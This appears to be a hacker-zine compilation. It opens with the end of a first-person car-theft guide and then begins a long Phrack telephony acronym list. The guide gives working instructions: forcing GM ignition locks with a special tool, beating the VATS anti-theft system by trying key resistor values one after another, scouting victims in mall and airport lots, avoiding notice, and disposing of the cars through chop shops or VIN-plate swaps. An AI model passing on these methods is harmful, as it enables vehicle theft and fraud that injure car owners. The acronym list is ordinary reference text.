The problem is to overcome the sidebar which prevents the ignition from turning. Fortunately, there is a tool for this very purpose. It is manufactured by Briggs and Stratton (yes, the lawn mower engine people) who happen to also make the locksets for GM. They make the locks. They make the tool to break the locks. You figure it out. Anyway, this neat little device is called a "GM Force Tool". I got mine from LDM Enterprises in Van Nuys, California (where else?) and it ran me about $90. Their fone number is 800‑451‑5950 and you should probably tell them that you're in the automotive repossession business if you go to order one of these. If they won't sell you one (because someone at GM read this article and hopped up and down) then simply go down to a local repo man and pay him an extra $25 to order one for you. Most of those guys are pretty sleazy and will do just about anything for a buck. If you have access to a machine shop and are reasonably competent, go ahead and make one.

I will attempt a description. Don't feel stupid if you don't get this; it's difficult to describe it in text. Drop me E‑mail and I'll send you a .GIF of the fucking thing. Anyway, it looks basically like a socket with very thin walls and two small tabs which fit into where the thumb‑ring‑thing used to go. You tap it onto the ignition set, into the two slots and the outside walls of the tool fit very snugly around the outside of the locking mechanism to keep it from splitting apart as you turn it. On the other end of the tool is a 1/2 inch square hole for a ratchet. Got the idea? Tap it onto the ignition, attach a healthy sized ratchet and turn slowly but forcefully. After about 30 degrees of turn the sidebar will crack the ignition lock housing and the whole mechanism will freely turn. If you don't understand this, take a look at a GM ignition (sans outer ring) and the facts will become readily apparent. If you have access to a machine shop, it is a simple matter to make one of these tools. Go to your local GM dealer and buy a whole ignition set, snap the outer ring off of there and take your measurements. Remember that the inner wall of the force tool must fit snugly around the lockset in order to keep it from splitting apart. That is why a device with simply two tabs which fit into the ignition linkage will not work (I tried it ‑the metal is too soft and tears apart).

Seem like too much work? Well, of course it is a bit of work, but preparation is the key! My father always stressed that the most important part of doing a job is having the right tools. The tools in this case are KNOWLEDGE of how all these goofy parts fit together and operate, a properly constructed force tool, and the patience to apply these two components to bring about the desired result. With some practice I was able to circumvent a Camaro ignition in just under 30 seconds. It does very little actual damage to the vehicle ($11.00 for a new ignition set) and in fact the thumb‑ring‑thing can be jammed back on and a key inserted and it will appear that everything is proper (in case you're pulled over by the local constable).

V.A.T.S.

‑‑‑‑‑‑‑‑

Because of the horrendous problems with car theft, particularly of Camaros, GM came up with a neat system boldly dubbed the "Vehicle Anti Theft System". Needless to say, as with most security devices, VATS accomplished little more than being a nuisance to vehicle owners and a minor inconvenience to car thieves. Here's how to defeat it.

First, basic theory of operation. The ignition of a VATS equipped vehicle (most 1988 and newer GMs, particularly the Camaros/Firebirds) is the same as the normal GM ignition except that it has an electronic sensor built in which requires activation by a resistor pack built in to the owner's key. There are fifteen possible resistor types, so each different VATS key that you have gives you a 6.7% chance of being capable of activating the ignition. The catch is that if you feed it the wrong one it will kill the ignition for 4 minutes. Thus, if you had a complete set of fifteen VATS keys, it would take you a maximum of one hour to run through them all. This is GM's idea of security: annoy the thief.

If you plan to tackle a VATS‑equipped car, get a full set of the fifteen VATS keys. They're a few bucks each and you can get them from a locksmith or LDM. Obtain access to your target car in an area and in such circumstances as will allow you to work for an hour relatively undisturbed. In practice, this is not very difficult (more on that later). Once you have access to the vehicle and are satisfied that you can work unobserved, break the ignition lock using your force‑tool as described above. Insert your first VATS key blank and attempt to start the vehicle. If it will not activate the ignition, remove the key, wait four minutes and try the next one. Eventually you'll hit it. (Median hit time, of course: 30 minutes). Drive away.

Scouting a Victim

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

An essential element of stealing a car without getting caught is picking out the right one. Again, preparation is the key. Once you've mastered the necessary techniques, start looking around for a good place to pick up a vehicle. The car thieves that I spoke with told me that their preferred places are mall parking lots at night: there is a lot of activity so you probably won't be noticed lurking around waiting for a good prospect to show up. People usually go into the mall for several hours to buy crap, so you have time to work. Wait until no one is looking and pounce. Once you are inside the vehicle (which, with practice, may be accomplished in 15 seconds) you are home free. No one is going to pay any attention to you screwing around inside the vehicle and you'll be long gone by the time the owner finishes charging a new Salad Shooter on his American Express. Another good place is airport parking lots. While they are often sporadically patrolled, it is in practice a simple matter to drive around until you spy the right vehicle, then pack all your necessary tools into a suitcase and walk from the terminal to the lot like a returning airline passenger. That's how I did it. The car was not reported stolen for over two weeks (it was in the long‑term lot), giving me plenty of breathing room.

There are numerous other places. Start noting the places that you leave your car: supermarket, movie theater, in front of your house, at work, in a parking garage, etc. Start noticing patterns. That 1988 IROC you see parked in the same place for five hours every Tuesday. When you actually commit the deed, BE PREPARED. Do a dry run. Be calm, work quickly but carefully. Act like you belong where you are ‑‑ don't lurk around nervously. Walk right up to the car and steal it. If confronted by someone, try to talk your way out of it. Don't get violent: it's just a thing. A car is not worth hurting someone over. Don't worry about getting caught: most cities can't cope with the crime epidemic and do not bother to do much about auto theft.

What Do I Do With It?

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

That's up to you. Take it for a joy ride. If you boosted it from an airport lot you can probably safely cruise around in it for a week or two. Go pick up bimbos and drive them to Las Vegas. Or sell the thing to a chop shop (you're on your own finding them; I have no experience with them). Tear it apart yourself and sell the parts. Drive it into the lobby of an insurance company building. Or go buy a Camaro of the same year and model that has been totalled out and switch the VIN plates once you have clear title. That's not a particularly difficult affair, although some skill is required to remove the VIN tags and install them in your new car. Have fun! Stay out of trouble. If you have any questions, E‑mail me. Above all, keep in mind that two things are essential to steal a car without getting caught: PRACTICE and PREPARATION. Good luck!

‑‑>Spy Ace<‑

Acronyms Part I

==Phrack Magazine==

Volume Four, Issue Forty‑Three, File 21 of 27

++++++++++++++++++++++++++++++++++++

+

+

+ The Telephony Acronyms and Abbreviations List from Hell +

+

+

+ by

+ Crisp GRASP +

+

++++++++++++++++++++++++++++++++++++

Well, here it is, the list from hell. Sure beats the old lists of 100 or so three letter acronyms. The whole reason for this list is so that you can crack almost ANY bell document. This list came from a few lists (one in Phrack a while back) and a few other Telephony lists here and there. Though it must be noted (and i want to take credit for it) that well over half of the acronyms and abbreviations were typed in by me, inputed into my database (of course I am not about to give out my database).

It is always a good idea to start a database, one will learn a lot faster. It is doing things scientific like, and for someone as compulsive as I, solving the puzzle of the telephone company was easy as pie. I must say that all the hackers I have meet, and talked to are all compulsive as hell <G>. I think it is just what it comes down to, who is willing to learn. Any ways here is two fields in my database, one small part, but worth it. Though i do not think it will be able to help most of you out, just gets into too much, and understanding which acronym goes where, and understanding what goes where is hard. Well good luck!

Greets to Bell Northern Labs, never see too much from you press wise! and to SRI, should have come to Cal. hah (Don knows what I am talking about, his funding is short)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

15M Fifteen minutes

15S Fifteen seconds

1CF Singal party coing first pay phone

1FAC Interface packs

1FB One party flat business rate

1OF One party official (telco) business line

2SPDT Partial dial timeout in the second stage of a traditional 2‑stage international

2SPST Permanent signal timeout in the second stage of a traditional 2‑stage international

2SVCA Vacant code in the second stage of a traditional 2‑stage international outbound

2W Two wire (pair) (circuit)

2WAY Two‑way trunk groups

300 Log command menu (SARTS command)

376 Log clear (SARTS command)

384 Write log (SARTS command)

385 Read log (SARTS command)

399 Log print (SARTS command)

3KHZ Three kilohertz

3RNGR Three ringer

3WO Third wire open

4W Four wire (pair) (circuit)

600 Test menu (SARTS command)

600B 600‑ohm briged connection

611 Detail tests (SARTS command)

621 Macro command menu (SARTS command)

631 Automatic test command (SARTS command)

735T 735‑ohm compromise termination

?A Action field contains an error

?D Data field contains an error

?E Error exist in the message but can ot be resolved to the proper field

?I Identification field contains an error

?T Time‑out has occured on channel

?W Warning message

A A side (lead) (pair)

A Area

A Telephone number or trunk group and member number from trouble A/B Two wire phone connection (T&R)

AA Automatic answer

AA Packet analog access line INTER/TRA blocal 1‑26 AABS Automatic alternate billing service

AAE Auxiliary access equipment

AAR Automatic alternate routing

AAX Automated attendant exchange

AB Packet switch trunk INTER/TRA blocal 1‑26

ABATS Automatic bit access test system

ABATS Automatic bit access test system (DDS service) ABC Automatic bill calling (TSPS)

ABF Abandon failure

ABF Abandon failure (MDII)

ABHC Average busy hour calls

ABL Auxiliary Buffer oder word Left half

ABM Asynchronous balanced mode ( ‑> SABME)

ABME ABM extended

ABR Auxiliary Buffer order word Right half

ABS Alternate billing service

ABS Alternative billing service

ABSBH Average busy season busy hour

ABT Abort

ABV Above

AC Administrative computer

AC Alternating current

AC Assembly code

ACA Asynchronous communication adapter

ACB Annoyance call bureau

ACB Automatic call‑back

ACC Audio communications controller

ACCS Automated calling card service

ACD Automatic call distribution

ACD Automatic call distributor

ACDA Automatic call disposition analyzer

ACDN Access Directory Number

ACDN Access directory number

ACE Assignment change establish

ACE Automatic calling equipment

ACES Aris cabs entry system

ACF Advanced communications functions

ACFA Advanced CMOS frame aligner peb2030

ACG Automatic call gap

ACH Attempt per circuit per hour

ACI Answer controller interface (IOM2 monitor command) ACIA Asynchronous communications interface adapter

ACK Acknowledge

ACK No acknowledgement wink

ACK No acknowledgement wink (MDII)

ACKDB Acknowledgement database

ACM Address complete msg. (SS7: in ISUP)

ACOF Attendant control of facilities

ACP Action point

ACSE Association control service element

ACSNET Acedemic computing services network

ACSR Automatic customer station rearrangement

ACSU Advanced T‑1 channel service unit

ACT AC Testing definition

ACT AC testing definition

ACT Activate

ACT Active

ACT Auto or automatic circuit transactions

ACTS Automated coin toll service

ACTV Acticated

ACTVD Activated

ACU Alarm control unit

ACU Automatic calling unit

AD Attendant INTER/TRA blocal 1‑26

ADAP Audix data acquisition package

ADAS Advanced directory assistance system

ADC American digital cellular

ADC Analog to digital converter

ADCCP Advanced data communication controll procedure ADCCP Advanced data communications control procedure ADCI Automatic display call indicator

ADD EXP Address expander

ADDL Additional

ADDR Address translations

ADJ Ajust

ADM Add‑drop multiplex

ADMA Advanced DMA controller SAB82258

ADN Abbreviated dialing number

ADP Automatic diagnostic process.

ADPCM Adaptive PCM

ADS Administration of designed services

ADS Administration of designed services review

ADS Advanced digital system

ADS Audio distribution system

ADS Auxilary data system

ADSL Asymmetrical digital subscriber line

ADTS Automated digital terminal system

ADTS Automatic data test system

ADTS Automatic digital terminal system

ADU Automatic dialing unit

AERM Alignment error rate monitor

AF Commercial audio fulltime INTER/TRA blocal 1‑26 AFACTS Automatic facilities test system

AFADS Automatic force adjustment data system

AFE Analog front end

AFI Authority and format identifier (ISO 7498)

AFSC Advanced features service center

AFSK Automatic frequency shift keying

AG/EEE Above ground electronic equipment enclosures

AGC Automatic gain control

AGM Normal aging months

AGND Analog ground

AGT Accelerated aging type

AI Activate indication (C/I channel code)

AI Artificial intelligence

AI Assigner's initials

AI Automatic identified outward dialing INTER/TRA blocal 1‑26 AIC Automatic intercept center

AICC Automatic intercept communications controller

AIN Advanced intelligent network

AIOD Automatic id of outward dialing

AIOD Automatic identifaction of outward dialing

AIS Alarm indication signal

AIS Alarm indication signals

AIS Automatic intercept system

AIT Analit initialization of tables

AIU AI upstream

AL Alternate services INTER/TRA blocal 1‑26

ALATS Automatic loop access system system (DDS service) ALBO Automatic line buildout

ALE Address latch enable

ALE Automatic line evaluation

ALFE Analog line front end

ALGOL Algorhythmic computer language

ALI Automatic location indentification

ALIT Automatic line insulation testing

ALL All events

ALL All module controller maintenance interrupts

ALL Turns on all IDs

ALPT Alarm scan points

ALRM Alarms

ALRU Automatic line record update

ALS Automated list service

AM Administrative module

AM Amplitude modulation

AM Asynchronous multiplexer

AM Packet

AMA Automatic Message Accounting

AMA Automatic message accounting

AMACS AMA collection system

AMAIRR Automatic message accounting irregularity

AMALOST Lost automatic message accounting

AMARC AMA recent change

AMARC AMA recording center

AMASE AMA standard entry

AMAT Automatic message accounting transmitter

AMATPS Automatic message accounting teleprocessing system AMATPS Automatic message accounting transmitter teleprocessing system AMC Add‑on module connector (‑> sipb)

AMERITECH American information technologies

AMI Alternate mark inversion code

AML Automatic maintenance limit.

AMP Advance measurement processor

AMP Amplifier

AMPS Advanced mobile phone service

AMR Automatic meter reading

AMWI Active message waiting indicator

AN Announcement service INTER/TRA blocal 1‑26

AN Associated number

ANA Automatic number announcement

ANC All number calling

ANCT Analysis control table

ANI Automatic number identification

ANIF Automatic number identification failure

ANM Answer msg. (SS7: in ISUP)

ANS Answer

ANS Answer On Bus

ANS Answer msg.

ANSER AT&T Network Servicing System (i.e. via EADAS link ) ANSI American national standards institute

AO Allocation order

AO International/overseas audio (full time) INTER/TRA blocal 1‑26 AOC Advice of charge (i.256 B)

AOSS Auxilliary operator service system

AP Access point

AP Application (OSI layer 7)

AP Application processor

AP Attached processor

AP Auciliary processor

AP Automatic position

AP Commercial audio (part time) INTER/TRA blocal 1‑26 AP‑PG Access point page

APC Alarm processor circuit

APC Amarc protocol converter

APD Access point data

APD Avalanche photo diode

APDB Access point data base

APDL Application processor data link

APH Application protocol handler

API Application interface

APM Application processor modules

APPC Advanced program to program communication (IBM) APPL1‑APPL5 Reserved for application handlers

APS Automatic position system

APS Automatic protection switch

APS Automatic protection switching system

AQ Autoquote problem.

AR Activation request (C/I channel code)

AR Alarm report

AR01 Office alarm ‑ 1AESS alarm message ‑

AR02 Alarm retired or transferred ‑ 1AESS alarm message AR03 Fuse blown ‑ 1AESS alarm message ‑

AR04 Unknown alarm scan point activated ‑ 1AESS alarm message AR05 Commercial power failure ‑ 1AESS alarm message AR06 Switchroom alarm via alarm grid ‑ 1AESS alarm message AR07 Power plant alarm ‑ 1AESS alarm message ‑

AR08 Alarm circuit battery loss ‑ 1AESS alarm message AR09 AMA bus fuse blown ‑ 1AESS alarm message ‑

AR10 Alarm configuration has been changed (retired inhibited) ‑ 1AESS AR11 Power converter trouble ‑ 1AESS alarm message AR13 Carrier group alarm ‑ 1AESS alarm message ‑

AR15 Hourly report on building and power alarms ‑ 1AESS alarm message ARA Automatic reservation adjustment

ARC Administrative responsibility code

ARC Alternate route cancellation

ARC Alternate route cancellation control

ARC Audio response controller

ARCOFI Audio ringing codec filter

ARCOFI‑SP ARCOFI + speakerphone function

ARCOS ARCOFI coefficient support program

ARCOTI SIPB telephone module

ARD AR downstream

ARG Alarm reference guide

ARG Assemble and run a given master file

ARIS Audichron recorded information system

ARL Activation request local loop (C/I channel code) ARM Activation request maintenance (C/I channel code) ARM Asynchronous response mode

ARM Automatic R(emote test system) maintance

ARMAR Automatic request for manual assistance resolution ARN Activation request

ARQ Automatic repeat request

ARR Automatic ring recovery.

ARS Alternate route selection

ARS Automatic route selection

ARSB Automated repair service bureau

ARSB Automatic repair service bureau

ARSSI Automatic rought selection screening index

ART Audible ringing tone

ARU Activation request upstream

ARU Audio response unit

ASAP As soon as possible

ASC Alarm and status circuit

ASC Alarm and status circuit .

ASC Alarm surveillance and control

ASCC2 Advanced serial communication controller

ASCII American standard code for information interchange ASCII American standard code for information interexchange ASD Automated SMAS diagnostics

ASDPE Synchronous data link controller (SDLC) A reset

ASE Application service element

ASEC Assignment section

ASGN Assign

ASGNMTS Assignments

ASIC Application specific integrated circuit

ASM Analog subscriber module

ASOC Administrative service oversight center

ASP Advanced service platform

ASP Arcofi signal processor

ASPACGCOMP ASP SCP response message with an ACG component received at the switch

ASPBADRESP ASP SCP response message received with invalid data ASPEN Automatic system for performance evaluation of the network ASPNORTEMSG ASP reject message ret err and a play announc recei at the switch from the SCP

ASPSNCOMP ASP SCP response message with a send notifi component received at the switch

ASPTNMSG ASP termination notification message sent from the switch to the SCP

ASR Access service request

ASSN Assignment

AST Position acknowledge seizure signal time‑out (MDII) ASYNC Asynchronous

AT Access tandem

AT International/overseas audio (part time) INTER/TRA blocal 1‑26 AT&T American telephone and telegraph

AT‑1 Auto test‑1

AT‑2 Auto test‑2

AT01 Results of trunk test ‑ 1AESS automatic trunk test ATA Automatic trunk analysis

ATAB Area trunk assignment bureau

ATAI Automatic troubler analysis interface

ATB All Trunks Busy

ATB All trunks busy

ATC Automated testing control

ATC Automatic transmission control

ATD Accept date

ATD Async. TDM

ATH Abbreviated trouble history

ATI Automatic test inhibit

ATI Awake TI

ATICS Automated toll integrity checking system

ATIS Automatic transmitter identification system

ATM Analog trunk module

ATM Asynchronous transfer mode

ATM Automatic teller machine

ATMS Automated trunk measurement system

ATN Assigner's telephone number

ATO Time‑out waiting for address complete signal

ATP All tests pass

ATR Alternate trunk routing

ATRS Automated trouble reporting system

ATTC Automatic transmission test and control circuit ATTCOM AT&T communications

ATTG Attendant group

ATTIS AT&T information system

AU Access unit

AU Autoscript INTER/TRA blocal 1‑26

AU Auxiliary

AUD Assignment list audit

AUD Audits

AUDIT Audit detected problem.

AUDIX Audio information exchange

AUP Access unit port

AUTO Automaitc

AUTODIN Automatic digital network

AUTOSEVCOM Automatic secure voice communications

AUTOVON Automatic voice network

AUXF Auxillary frame

AVD Alternate voice data

AVD Alternate voice‑data

AWI Awake indication

AZD All zeros data

B B side (pair) (lead)

B Bridged connection

B Equipment number

B6ZS Bipolar with 6 zero subsitution

B8ZS Bipolar eight zero suppression encoding (DS‑1)

B8ZS Bipolar with 8 zeros substitution (T1 pri)

B911 Basic 911

BA Basic access

BA Protective alarm (CD) INTER/TRA blocal 1‑26

BAF Blocking acknowledgment failure

BAI Bridge lifter assignment inquiry

BAL Balance

BAMAF Bellcore AMA format

BANCS Bell administrative network communications system BANKS Bell adminastration network systems

BAPCO Bellsouth advertising & publishing company

BAS Basic activity subset

BAT Battery (‑48v)

BAx Business address x (x = number of line)

BB Blue box

BBD0/1 Binary 0s or 1s detected in b and d channels

BCC Bellcore client companies

BCC Block check character

BCC Blocked call cleared

BCCP Bearer ccp

BCD Binary coded decimal

BCD Blocked call delayed

BCFE Busy call forwarding extened

BCID Business customer identifier

BCLID Bulk calling line identification

BCMS Basic call management system

BCS Batch change supplement (NTI) (DMS‑100)

BDCA Unk

BDCS Broadband digital cross‑connect system

BDS Basic data service

BDT Billing data transmitter

BEF Band elimination filter

BEL Bell

BELLCORE Bell communications research

BER Bit error rate

BERT Bit error rate test

BETRS Basic exchange telecommunications radio service

BG Battery and ground signaling

BG/EEE Below ground electronic equipment enclosures

BHC Busy hour call

BHC Busy hour calls

BIB Backward indicator bit (SS7)

BICU Bus interface control unit

BIFIFO Bidirectional fifo

BIR Bit receiver

BIR Bus interface register

BISDN Broadband ISDN

BISP Business information system program

BISYNC Binary synchronous communications

BIT Bit

BIT Bit transmitter

BITNET Because‑it's‑time network

BITR Bit transceiver

BIX Building internal cross‑connects

BK Back

BKUP Backup

BKUP Requests a backup

BL Bell & lights INTER/TRA blocal 1‑26

BL Bridge lifter

BL Bridge lifters ‑ COSMOS command

BL/DS Busy line/don't answer

BLA Blocking acknowledgement (SS7: in ISUP)

BLF Busy line field

BLFCA Blocking a fully coded addressed international outbound call routed to a non‑common channel signaling trunk

BLK Block

BLKD Blocked

BLO Blocking (SS7: in ISUP)

BLS Bridge lifter status

BLS Business listing service

BLV Busy line verification

BMC Billing media coverage

BMD Batch mode display

BMI Batch mode input ‑ TIMEREL and DEMAND

BMOSS Building maintance operations service system

BMR Batch mode release

BMU Basic measurement unit (dip)

BND Band number

BNS Billed number screening

BNSDBOV BVA BNS message received indicating data base overload BNSDBUN BVA BNS message returned because data base unable to process BNSGMSG BVA BNS message received garbled

BNSNBLK BVA BNS message returned because of network blockage BNSNCON BVA BNS message returned because of network congestion BNSNRTE BVA BNS message returned because of no routing data BNSTOUT BVA BNS message returned because of timeout

BNSUNEQ BVA BNS message returned because of unequipped destination BNSURPY BVA BNS message received with an unexpected reply BNx Business name x (x = number of line)

BOC Bell operating companies

BOC Bell operating company

BOCC Building operations control center

BOP Byte oriented protocol

BOR Basic output report

BORSCHT Battery

BOS Bit oriented signaling

BOS Business office supervisor

BOSS Billing and order support system

BOSS Business office service system (NYNEX)

BOT Beginning of tape

BOT Bottom

BPI Bits per inch

BPOC Bell point of contact

BPS Bits per second

BPSK Binary psk

BPSS Basic packet‑switching service

BPUMP Backup pump

BR Bit robbing (CAS‑BR)

BRAT Business residence account tracking system

BRCF Business and residential customer service feature BRCS Business and residential customer services

BRCS Business residence custom service

BRDCST Broadcase

BRDG Bridge

BRDGD Bridged

BREVC Brevity control

BRG Baud rate generator

BRI Basic rate interface

BRITE Basic rate interface transmission extension (5ESS) BRK Break

BRM Basic remote module

BRM Bell communications research practice

BRST Bridge signature table

BS Backspace

BS Banded signaling

BS Bias battery (‑19.1v)

BS Siren control INTER/TRA blocal 1‑26

BSA Basic serving arrangements

BSBH Busy season busy hour

BSC Business service center

BSC/RSC Business/residence service center

BSCM Bisynchronous communications module

BSDPE SDLC B reset

BSE Basic service elements

BSF Bell shock force

BSI British standards institution

BSN Backward sequence number (SS7)

BSOC Bell systems operating company

BSP Bell system practice

BSRF Basic standard reference frequency

BSRFS Bell system reference frequency standard

BST Basic services terminal

BSTJ Bell system technical journal

BT British telecom

BTAM Basic telecommunications access message

BTH Both

BTL Bell telephone laboratories

BTN Billing telephone number

BTSR Bootstrapper board

BTU British thermal unit

BUFF System buffers (NTI)

BVA Billing validation application

BVAPP Billing verification and authorization for payment process BVC Billing validation center

BVS Basic voice service

BWM Broadcast warning message

BWT Broadcast warning twx

BWTS Bandwidth test set

BYF Display the bypass file

BYP Change the contents of the bypass file

C Counting rate

C Current supervision

C Scan point (SP)

C&A Centrifugal and absorption

C‑ACD Commercial‑automatic call distributor (OSPS)

C‑NCH C‑notch

C/I Command/indicate

C/S UNIT Combiner and splitter

C1 Circuit system

CA Cable

CA Cable number

CA Collision avoidance

CA SSN access INTER/TRA blocal 1‑26

CABS Carrier access billing system

CAC Calling‑card authorization center

CAC Carrier access code

CAC Circuit administration center

CAC Customer administration center

CACHE Cache errors

CAD Computer‑aided dispatch

CAD Critical alarm display

CADN Circuit administration.

CADV Combined alternate data/voice

CAF Circuit reset acknowledgment failure

CAFD Comptrollers' automatic message accounting format description CAFD Controllers automatic message accounting format description CAI Address incomplete received

CAI Call assembly index

CAIS Colocated automatic intercept system

CALRS Centralized automatic loop reporting system

CAM Communication access method

CAM Computer aided manufacturing

CAM Content adressable memory

CAM Control administration module

CAMA Central automatic message accounting.

CAMA Centralized auto message accounting

CAMA Centralized automatic message accounting

CAN Cancel

CANC Cancel (i.451)

CANF Clear the cancel from

CANT Clear the cancel to

CAP Capacitance

CARL Computerized administrative route layout

CAROT Centralized automatic reporting on trunks

CAROT Centralized automatic reporting on trunks.

CAS Cannel associated signaling

CAS Circuit associated signaling

CAS Computerized autodial system

CAS Craft access system (SARTS)

CAS Customer account service

CAS7ABM CAS common channel signaling 7 (CCS7) abort message received CAS7ACG CAS CCS7 ACG invoke component received

CAS7GMG CAS CCS7 received with invalid format reply

CAS7GWE CAS CCS7 error

CAS7NCG CAS CCS7 message returned because of network congestion CAS7NFL CAS CCS7 message returned because of network failure CAS7RCR CAS CCS7 reject component received

CAS7SCG CAS CCS7 message returned because of subsystem congestion CAS7SFL CAS CCS7 message returned because of subsystem failure CAS7TAN CAS CCS7 message returned

CAS7TOT CAS CCS7 query which timed out before reply received CASDBOV CAS message received indicating data base overload CASDBOV Customer account services (CAS) message received indicating data base overload CASDBOV Customer account services (CAS) message received indicating database overload CASDBUN CAS message returned

CASGMSG CAS message received garbled

CASNBLK CAS message returned because of network blockage CASNCON CAS message returned because of network congestion CASNRTE CAS message returned because of no routing data CASTOUT CAS message returned because of timeout

CASUNEQ CAS message returned because of unequipped destination CASURPY CAS message received with an unexpected reply

CAT Centrex access treatment

CAT Craft access terminal

CATLAS Centralized automatic trouble locating and analysis system CAY Create an assembly

CB OCC audio facilitys INTER/TRA blocal 1‑26

CBA Change back acknowledgement (SS7: in mtp)

CBD Change back declaration (SS7: in mtp)

CBEMA Computer and business equipment manufacturers' assc. CBERR Correctable bit error

CBS Crossbar switching

CBX Computerized branch exchange

CC Call count

CC Central control

CC Central controller

CC Common channel (CAS‑CC)

CC Common control

CC Connection confirm

CC Country code

CC Country code (ISO 7498)

CC Initials of person closing report out to catlas.

CC OCC digital facility‑medium speed INTER/TRA blocal 1‑26 CC1 Call control 1 (IOS)

CCA Change customer attributes

CCA Computer content architecture (ISO 8637/2)

CCBS Completion of call to busy subscribers (i.253 c)

CCC Centeral control complex

CCC Central control complex

CCC Clear channel capability

CCC Computer control center

CCD Change due date ‑ COSMOS command

CCDDBOV BVA calling card (CCRD) message received indicating data base overload

CCDDBUN BVA CCRD message returned because data base unable to process CCDGMSG BVA CCRD message received garbled

CCDNBLK BVA CCRD message returned because of network blockage CCDNCON BVA CCRD message returned because of network congestion CCDNRTE BVA CCRD message returned because of no routing data CCDR Calling card

CCDTOUT BVA CCRD message returned because of timeout

CCDUNEQ BVA CCRD message returned because of unequipped destination CCDURPY BVA CCRD message received with an unexpected reply CCF Custom calling features

CCH Connections per circuit per hour

CCIR Comite' consultatif international des radio communications CCIR Consultative committee for radiocomunication (international radio CCIS Common channel interoffice signaling

CCITT Comite' consultatif international telegraphique et telephonique CCITT Consultative committee for internat. telephone and telegraph CCM Customer control management

CCNC CCS network control

CCNC Common channel network controller

CCNC Computer/communications network center

CCOA Cabinet control and office alarm

CCP Call control part

CCR Clock configuration register

CCR Continuity check request (SS7: in ISUP)

CCR Customer‑controlled reconfiguration

CCRC Corrupt crc (IOM2 monitor command)

CCRD Calling card (5E)

CCRS Centrex customers ... system

CCS Centum Call Seconds

CCS Cluster support system

CCS Common channel signaling

CCS Custom calling services (NTI)

CCS Hundred (C) call seconds

CCS Hundred call seconds

CCSA Common control switching arrangement

CCT Central control terminal

CCT Initialize and update the contractor‑transducer file CCTAC Computer communications trouble analysis center

CCU Colt computer unit

CCU Combined channel units

CCU Communication control unit

CCV Calling card validation

CD Call deflection (i.252 e)

CD Collision detection (‑>csma/)

CDA Call data accumulator

CDA Change distribution attributes

CDA Coin detection and announcement

CDACS Concentrating DACS

CDAR Customer dialed account recording

CDC Central distrubtion center

CDCF Cumulative discounted cash flow

CDD Change due date

CDF Combined distributing frame

CDF DTF coin

CDFI Communication link digital facilities interface

CDI Circle digit identification

CDI Connected line identification (i.251 C/E)

CDI Control and data interface.

CDI Control data interface

CDIG Circle digit translation (NTI)

CDM Coax data module

CDMA Code division ma

CDO Community dial office

CDPR Customer dial pulse receiver

CDQ1 Custom calling services discount quote

CDR Call detail record

CDR Call dial rerouting

CDR Collision detect input line

CDR Cut thru dip report

CDRR Call detail recording and reporting

CDS Circuit design system

CDS Codes

CDS Craft dispatch system

CE Collision elimination (‑>CSMA/)

CE Common equipment data (NTI)

CE Conducted emission (EME)

CE SSN station line INTER/TRA blocal 1‑26

CEF Cable entrance facility

CEI Comparable efficient interconnection

CEI Comparably efficient interconnection

CEN European committee of standards

CENELEC European committee of standards (electrotechnics)

CEP Connection endpoint

CEPT European conference of post/telecom administrations CES CC error summary

CEU CCS estimated usage

CEV Control environmental vault

CEV Controlled environment vault

CF Coin first

CF OCC special facility INTER/TRA blocal 1‑26

CFA Carrir failure alarms

CFA Change facility attributes

CFC Cost function code

CFCA Communications fraud control association

CFD Coinless ANI7 charge‑a‑call

CFGN Configuration

CFI Configurable interface (SIPB)

CFINIT Custom calling feature table

CFN Call forward number

CFND Call forward number don't answer

CFNR Call forwarding no reply (i.252 c)

CFP Call forwarding busy (i.252 b)

CFP Print the class of service/features for an electromechanical enti

CFR Code of federal regulations

CFT Craft

CFU Call forwarding unconditional (i.252 d)

CFU Change facility usage

CG Control group number

CG OCC telegraph facility INTER/TRA blocal 1‑26

CG01 Carrier group in alarm ‑ 1AESS carrier group

CG03 Reason for above ‑ 1AESS carrier group

CGA Carrier group alarm

CGA Carrier group assignment

CGAP Call gapping

CGAP Call gapping code controls messages.

CGB Circuit group blocking (SS7: in ISUP)

CGBA CGB acknowledgement

CGM Computer graphics metafile (ISO DIS 8632)

CGN Concentrator group number

CGNC Connector group network controller

CGU Circuit group unblocking (SS7: in ISUP)

CGUA CGU acknowledgement

CH Change

CH OCC digital facility high‑speed INTER/TRA blocal 1‑26 CHAN Channel

CHAPS UNK ‑ a known AT&T System ‑ def. unknown

CHAR Character

CHG LASG Change loop assignment

CHK Check

CHR Chronical

CI Concentrator identifier trunk INTER/TRA blocal 1‑26 CI0IN Control interface 0 interrupt

CI1IN Control interface 1 interrupt

CIB Centralized intercept bureau

CIC Carrier identification codes

CIC Circuit identification code

CIC Customer Information Center (AT&T)

CICS Customer information control system

CID Connection identification

CIE Company establish company initiated change

CIF Common intermediate format (for ISDN high end video) CIH Craft interface handler

CII Call identity index

CII Initial address message (IAM) irregularity (incoming) CIMAP Circuit installation and maintance assistance program CIMAP/CC Circuit installation and maintenance assistance/control center

CIP Control interface port

CIRR C/I receive register

CIS Crimeline information systems

CIS Customized intercept service

CIXR C/I transmit register

CJ OCC control facility INTER/TRA blocal 1‑26

CK Checkbits

CK OCC overseas connecting facility wide‑band INTER/TRA blocal 1‑26 CKF Continuity check failure (incoming)

CKID Circuit identification

CKL Circuit location

CKS Clock select bit

CKT Circuit

CKT Circuit.

CKTRY Cuicuitry

CL Centrex CO line INTER/TRA blocal 1‑26

CLASS Centralized local area selective signaling

CLASS Custom local area signaling service

CLC Common language code for an entity

CLCI Common language circuit identification

CLCT Network management control counts

CLDIR Call direction

CLDN Calling line directory number

CLEI Common language equipment identifier

CLF Creating dips upper bound load factor

CLFI Common lang facilities identication

CLI COSMOS processed alit reports

CLI Calling line ident

CLID Calling line identification

CLIP Calling line identification presentation (i.251 c) CLIR Calling line identification restriction (i.251 d)

CLK Clock

CLL Creating dips lower bound load factor

CLLI Common‑language location identification

CLNK Communication link

CLNKs Communication links

CLNORM Communication link normalization

CLR Circuit layout record

CLR Clear

CLRC Circuit layout record card

CLS CLCI in serial number format

CLS Connectless‑mode service

CLSD Closed

CLSV Class of service

CLT CLCI telephone number format

CLT Communications line terminal

CLUS Cluster data (NTI)

CM C‑message frequency weighting

CM Communication module

CM Connection memory

CM OCC video facility INTER/TRA blocal 1‑26

